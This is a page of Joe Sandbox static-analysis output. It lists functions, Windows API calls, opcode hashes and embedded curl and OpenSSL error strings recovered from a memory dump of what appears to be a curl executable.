SENT, xrefs: 0020535F

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: ErrorLastsend
String ID: SENT$Sending data failed (%d)
API String ID: 1802528911-3459338696
Opcode ID: 6002c9a65ecb6926d5db6e12400f1a3d429a784b880353c703d78591851bf57c
Instruction ID: 949b52e0ab3dd5a5fb14c976e71c3a2105fb48ec962543184b9b7528ccee483e
Opcode Fuzzy Hash: 6002c9a65ecb6926d5db6e12400f1a3d429a784b880353c703d78591851bf57c
Instruction Fuzzy Hash: E8F0F07524A701ABD2159B28BC48E5BBBECDBDC711F18081DF984D3392C2218908DBB3

Function 002C40F8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,?,002C4137,00000000,?,002C9012,000000FF,0000001E,00307E48,00000008,002C8F76,00000000,00000000), ref: 002C4107
GetProcAddress.KERNEL32(?,CorExitProcess), ref: 002C4119

Strings

mscoree.dll, xrefs: 002C4100
CorExitProcess, xrefs: 002C4111

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 1646373207-1276376045
Opcode ID: 39a06f781861dc8a1b6575bb2391198b2ad91d9b941681caf08c098d65fbd1fa
Instruction ID: ce9430fb9836a50bff95a21df9ecc6e973ecdad89c30e52fbc01170be439be43
Opcode Fuzzy Hash: 39a06f781861dc8a1b6575bb2391198b2ad91d9b941681caf08c098d65fbd1fa
Instruction Fuzzy Hash: 6CD05B30794609BBDB20AFA1DC05F5AB7ACDB55743F0402A6BD0CD0150DB71DE219A60

Function 002B4250 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 14COMMON

Download Yara Rule

APIs

FindWindowA.USER32(Pageant,Pageant), ref: 002B425A

Strings

Pageant, xrefs: 002B4255
$G6, xrefs: 002B426A
Pageant, xrefs: 002B4250

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: FindWindow
String ID: $G6$Pageant$Pageant
API String ID: 134000473-3810977514
Opcode ID: 3cebb841c86bb08d1b4b59fbeb7e7f5d349be47fba5a33c0893de9886c1cca2f
Instruction ID: 9ebbfc1a6988a9091e15f04b73ae8c090dd1ffd0fc11ae0f005a1e3873f2773a
Opcode Fuzzy Hash: 3cebb841c86bb08d1b4b59fbeb7e7f5d349be47fba5a33c0893de9886c1cca2f
Instruction Fuzzy Hash: DCD01774A007018FCB01DF38C94CB893BE0BB56724F05C2A4F0588B2E5E7B0D800AB45

Function 00221950 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 216COMMON

Download Yara Rule

APIs

Part of subcall function 002C144E: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,00000000,00000000,?,00000000,?,000003E8,00000000), ref: 002C1457

SetLastError.KERNEL32(00000000), ref: 002219CF

Strings

..\..\openssl\openssl\ssl\s23_clnt.c, xrefs: 00221BFA
..\..\openssl\openssl\ssl\s23_clnt.c, xrefs: 00221C10
f#, xrefs: 002219A0

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: Time$ErrorFileLastSystem
String ID: f#$..\..\openssl\openssl\ssl\s23_clnt.c$..\..\openssl\openssl\ssl\s23_clnt.c
API String ID: 2781989572-2465991077
Opcode ID: 2e55aae009a72f77d1de03809d796e0cf66dd13f6c61445708e62628286ee0a0
Instruction ID: 75950e2853a22b1a4cdd69d2f84e6c512e24312666404ad084dfd99ab98d84a2
Opcode Fuzzy Hash: 2e55aae009a72f77d1de03809d796e0cf66dd13f6c61445708e62628286ee0a0
Instruction Fuzzy Hash: A4711934761711ABE7209FA4E991F5B73E5AFA4704F04082DF9468B2C1EBB4E870CB42

Function 002C4FD3 Relevance: 6.1, APIs: 4, Instructions: 76COMMON

Download Yara Rule

APIs

SetConsoleMode.KERNEL32(?), ref: 002C508A

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: ConsoleMode
String ID:
API String ID: 4145635619-0
Opcode ID: 9acd010bf8085c4c62cf4ae72febb73eba15595c8783476c2be28516aa707616
Instruction ID: a9c32a98e46a1355f9306443f5a634ae4ca35839526c24d316ec68ffb5c5d331
Opcode Fuzzy Hash: 9acd010bf8085c4c62cf4ae72febb73eba15595c8783476c2be28516aa707616
Instruction Fuzzy Hash: D421A671921526DFCB119FA59C54FBE77ACAB08311F14432FE902D21A1C630ED91DBE1

Function 001DDEA0 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

VerSetConditionMask.KERNEL32(00000000,00000000,00000002,00000003), ref: 001DDF02
VerifyVersionInfoA.KERNEL32(?,00000002,00000000), ref: 001DDF11
getsockopt.WS2_32(?,0000FFFF,00001001,?,?), ref: 001DDF61
setsockopt.WS2_32(?,0000FFFF,00001001,?,00000004), ref: 001DDF87

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: ConditionInfoMaskVerifyVersiongetsockoptsetsockopt
String ID:
API String ID: 3307559826-0
Opcode ID: 1c0f74725b590fde91daaaa4404c6af69eb532ad7064f99e50d0b3d5a6738c3e
Instruction ID: ba5686b5e48b808272d0ab50b52cc2356cc4201d306847d8d6ce2534633e476b
Opcode Fuzzy Hash: 1c0f74725b590fde91daaaa4404c6af69eb532ad7064f99e50d0b3d5a6738c3e
Instruction Fuzzy Hash: A7218EB0608301ABE720DF10EC8AFAB77E8AF84700F40451AF686C62D1D7B9D9458B93

Function 002CDBB5 Relevance: 6.1, APIs: 4, Instructions: 68COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,001D369D,00000000,00000000), ref: 002CDBEF
SetFilePointerEx.KERNEL32(00000000,?,?,?,?), ref: 002CDC03
GetLastError.KERNEL32(?,?,?), ref: 002CDC09

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: FilePointer$ErrorLast
String ID:
API String ID: 142388799-0
Opcode ID: a80bf46073817d2a1d64236057efd5b2ca25746af4fa6149ce8df99ad98fdf17
Instruction ID: 0fa6645c8cb661bd3d69659d9fe92aa3fc9d13fa7d8f9efb02ca166e4357d345
Opcode Fuzzy Hash: a80bf46073817d2a1d64236057efd5b2ca25746af4fa6149ce8df99ad98fdf17
Instruction Fuzzy Hash: B711B232934619ABDB119FA89C84FED376CAB41724F114259F520A71D1E7B0E9209B64

Function 001EEBB0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 218COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 001EEBF2

Strings

Can't open %s for writing, xrefs: 001EECA1
Can't get the size of %s, xrefs: 001EED1A

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: Count64Tick
String ID: Can't get the size of %s$Can't open %s for writing
API String ID: 1927824332-3544860555
Opcode ID: 77b5199a8658e3089de586c9419640cd75bfbf4882ab6bbac09e46467cd412fb
Instruction ID: e460623712469410497b942808064199aa392a1b4100fe63c59a203becb02e54
Opcode Fuzzy Hash: 77b5199a8658e3089de586c9419640cd75bfbf4882ab6bbac09e46467cd412fb
Instruction Fuzzy Hash: 3571AE71B04B408FD718DF29DC81AAFB7E5FF98304F05492EF99A87241EB35A9148B42

Function 001DBBD0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 169COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 001DBC21

Strings

Couldn't resolve proxy '%s', xrefs: 001DBD37
Couldn't resolve host '%s', xrefs: 001DBDA9

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: Count64Tick
String ID: Couldn't resolve host '%s'$Couldn't resolve proxy '%s'
API String ID: 1927824332-1887007339
Opcode ID: ada16a9f6eee40493ee2bf987692e70359b53920611f1a7d9afce305081e344c
Instruction ID: 81d5704d828b1b5d22dd9956b43faa378eae2d384ab331dd26fa29fb61681640
Opcode Fuzzy Hash: ada16a9f6eee40493ee2bf987692e70359b53920611f1a7d9afce305081e344c
Instruction Fuzzy Hash: 5451E2716083058FCB14DF28E8C07AA77D0FB85315F09097AED49CB382E7759908CBA2

Function 0020C1F0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 151COMMON

Download Yara Rule

Strings

select/poll error, xrefs: 0020C324
server response timeout, xrefs: 0020C225

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: Count64Tick
String ID: select/poll error$server response timeout
API String ID: 1927824332-3916793193
Opcode ID: da7228b44b3b9c9b302ce39498b5dd2202ba424806bf391ea324182f502befd1
Instruction ID: 9428814137950ef5c0a94cca54322a95e8e91bbab6d032d2e812b45ae9fb6e37
Opcode Fuzzy Hash: da7228b44b3b9c9b302ce39498b5dd2202ba424806bf391ea324182f502befd1
Instruction Fuzzy Hash: 584137727147064FD714AFA9AC8067AB394EB85320F14077EED08D76C2EB62DD2483C1

Function 001D6550 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 150COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 001D65EA

Strings

Internal error clearing splay node = %d, xrefs: 001D65A8
Internal error removing splay node = %d, xrefs: 001D66C6

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: Count64Tick
String ID: Internal error clearing splay node = %d$Internal error removing splay node = %d
API String ID: 1927824332-979561979
Opcode ID: a91f2947cecb5889f0dd5202ed4858e5fb5b877fe267b8320f68c32e4f021c2d
Instruction ID: 60a64899855358073662c949c164227913b6c56eb3cb81e15713ac94f856ba13
Opcode Fuzzy Hash: a91f2947cecb5889f0dd5202ed4858e5fb5b877fe267b8320f68c32e4f021c2d
Instruction Fuzzy Hash: 5F51F772A002058BDB28DF18ED4176AB7E5EB95314F05823EF80D8F785EB31E944CB91

Function 002C3BFA Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32(C4F4C774,00307BE0,00000024,0022AD87,00000016,%s(%d): OpenSSL internal error, assertion failed: %s,..\..\openssl\openssl\crypto\cryptlib.c,00000253,?,0022AA99,pointer != NULL,00000001,00000000,0022AADC,?,?), ref: 002C3CC0
